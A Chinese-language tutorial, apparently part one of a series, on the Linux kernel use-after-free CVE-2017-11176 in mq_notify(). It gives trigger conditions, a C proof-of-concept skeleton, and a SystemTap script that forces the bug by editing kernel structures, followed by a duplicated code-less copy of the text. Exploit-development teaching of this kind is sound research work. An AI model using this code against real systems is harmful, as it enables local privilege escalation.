CVE-2017-11176: 一步一步linux内核漏洞利用 (一)(System Tap)
字数 1113 2025-08-05 08:18:36

Linux内核漏洞CVE-2017-11176分析与利用教程

漏洞概述

CVE-2017-11176是Linux内核中的一个引用计数错误漏洞,存在于mq_notify()系统调用中。该漏洞可能导致内核内存释放后重用(UAF),最终可能实现本地权限提升。

漏洞分析

漏洞位置

漏洞位于mq_notify()系统调用中,具体在netlink_attachskb()函数的错误处理路径中。

漏洞原理

当满足特定条件时,mq_notify()会错误地减少sock对象的引用计数两次:

  1. 第一次减少发生在netlink_attachskb()返回1时
  2. 第二次减少发生在后续的netlink_detachskb()调用中

这会导致sock对象的引用计数被错误地减少两次,可能导致UAF。

关键数据结构

struct sigevent {
    sigval_t sigev_value;
    int sigev_signo;
    int sigev_notify;
    union {
        int _pad[SIGEV_PAD_SIZE];
        int _tid;
        struct {
            void (*_function)(sigval_t);
            void *_attribute;
        } _sigev_thread;
    } _sigev_un;
};

漏洞触发条件

要触发漏洞,需要满足以下条件:

  1. 调用mq_notify()时提供非NULL的sigevent参数
  2. 设置sigev_notify = SIGEV_THREAD
  3. sigev_value.sival_ptr指向有效的用户空间地址(至少32字节可读)
  4. 使netlink_attachskb()返回1(需要设置sock状态为congested)
  5. 在第二次fget()调用时使其失败

漏洞利用开发

环境准备

  1. 安装SystemTap用于内核调试
  2. 准备带有调试符号的内核
  3. 编写测试程序

基本利用代码框架

#define _GNU_SOURCE
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>

#define NOTIFY_COOKIE_LEN (32)

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

int main(void) {
    struct sigevent sigev;
    char sival_buffer[NOTIFY_COOKIE_LEN];
    int sock_fd;

    printf("-={ CVE-2017-11176 Exploit }=-\n");

    if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0) {
        perror("socket");
        goto fail;
    }
    printf("netlink socket created = %d\n", sock_fd);

    memset(&sigev, 0, sizeof(sigev));
    sigev.sigev_notify = SIGEV_THREAD;
    sigev.sigev_value.sival_ptr = sival_buffer;
    sigev.sigev_signo = sock_fd;

    if (_mq_notify((mqd_t)-1, &sigev)) {
        perror("mq_notify");
        goto fail;
    }
    printf("mq_notify succeed\n");

    return 0;

fail:
    printf("exploit failed!\n");
    return -1;
}

SystemTap调试脚本

# mq_notify_force_crash.stp
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger:long (arg_sock:long)
%{
    struct sock *sk = (void*) STAP_ARG_arg_sock;
    sk->sk_flags |= (1 << SOCK_DEAD); // 避免线程阻塞

    struct netlink_sock *nlk = (void*) sk;
    nlk->state |= 1;   // 使netlink_attachskb()进入retry路径    

    struct files_struct *files = current->files;
    struct fdtable *fdt = files_fdtable(files);
    fdt->fd[3] = NULL; // 使第二次fget()调用失败
%}

probe kernel.function ("netlink_attachskb")
{
    if (execname() == "exploit") {
        force_trigger($sk);
    }
}

关键调试步骤

  1. 使用SystemTap监控内核函数调用
  2. 修改内核数据结构强制满足漏洞条件
    • 设置sock状态为congested
    • 设置sk_flags为SOCK_DEAD避免阻塞
    • 从文件描述符表中删除fd使第二次fget()失败
  3. 验证引用计数是否正确减少

完整利用思路

  1. 创建AF_NETLINK套接字
  2. 设置sigevent结构体:
    • sigev_notify = SIGEV_THREAD
    • sigev_value.sival_ptr指向有效用户空间缓冲区
    • sigev_signo设置为套接字文件描述符
  3. 调用mq_notify()触发漏洞
  4. 在漏洞触发后利用UAF条件实现权限提升

防御措施

  1. 更新内核到修复版本
  2. 使用grsecurity/PaX等内核加固技术
  3. 限制普通用户使用mq_notify系统调用

参考资源

  1. 官方漏洞公告
  2. 内核源码分析
  3. SystemTap文档
  4. 相关内核数据结构定义

通过本教程,您应该能够理解CVE-2017-11176漏洞的原理、触发条件以及基本的利用方法。实际利用还需要结合具体内核版本和环境进行调整。

Linux内核漏洞CVE-2017-11176分析与利用教程 漏洞概述 CVE-2017-11176是Linux内核中的一个引用计数错误漏洞,存在于 mq_notify() 系统调用中。该漏洞可能导致内核内存释放后重用(UAF),最终可能实现本地权限提升。 漏洞分析 漏洞位置 漏洞位于 mq_notify() 系统调用中,具体在 netlink_attachskb() 函数的错误处理路径中。 漏洞原理 当满足特定条件时, mq_notify() 会错误地减少 sock 对象的引用计数两次: 第一次减少发生在 netlink_attachskb() 返回1时 第二次减少发生在后续的 netlink_detachskb() 调用中 这会导致 sock 对象的引用计数被错误地减少两次,可能导致UAF。 关键数据结构 漏洞触发条件 要触发漏洞,需要满足以下条件: 调用 mq_notify() 时提供非NULL的 sigevent 参数 设置 sigev_notify = SIGEV_THREAD sigev_value.sival_ptr 指向有效的用户空间地址(至少32字节可读) 使 netlink_attachskb() 返回1(需要设置 sock 状态为congested) 在第二次 fget() 调用时使其失败 漏洞利用开发 环境准备 安装SystemTap用于内核调试 准备带有调试符号的内核 编写测试程序 基本利用代码框架 SystemTap调试脚本 关键调试步骤 使用SystemTap监控内核函数调用 修改内核数据结构强制满足漏洞条件 设置 sock 状态为congested 设置 sk_flags 为SOCK_ DEAD避免阻塞 从文件描述符表中删除fd使第二次 fget() 失败 验证引用计数是否正确减少 完整利用思路 创建AF_ NETLINK套接字 设置 sigevent 结构体: sigev_notify = SIGEV_THREAD sigev_value.sival_ptr 指向有效用户空间缓冲区 sigev_signo 设置为套接字文件描述符 调用 mq_notify() 触发漏洞 在漏洞触发后利用UAF条件实现权限提升 防御措施 更新内核到修复版本 使用grsecurity/PaX等内核加固技术 限制普通用户使用 mq_notify 系统调用 参考资源 官方漏洞公告 内核源码分析 SystemTap文档 相关内核数据结构定义 通过本教程,您应该能够理解CVE-2017-11176漏洞的原理、触发条件以及基本的利用方法。实际利用还需要结合具体内核版本和环境进行调整。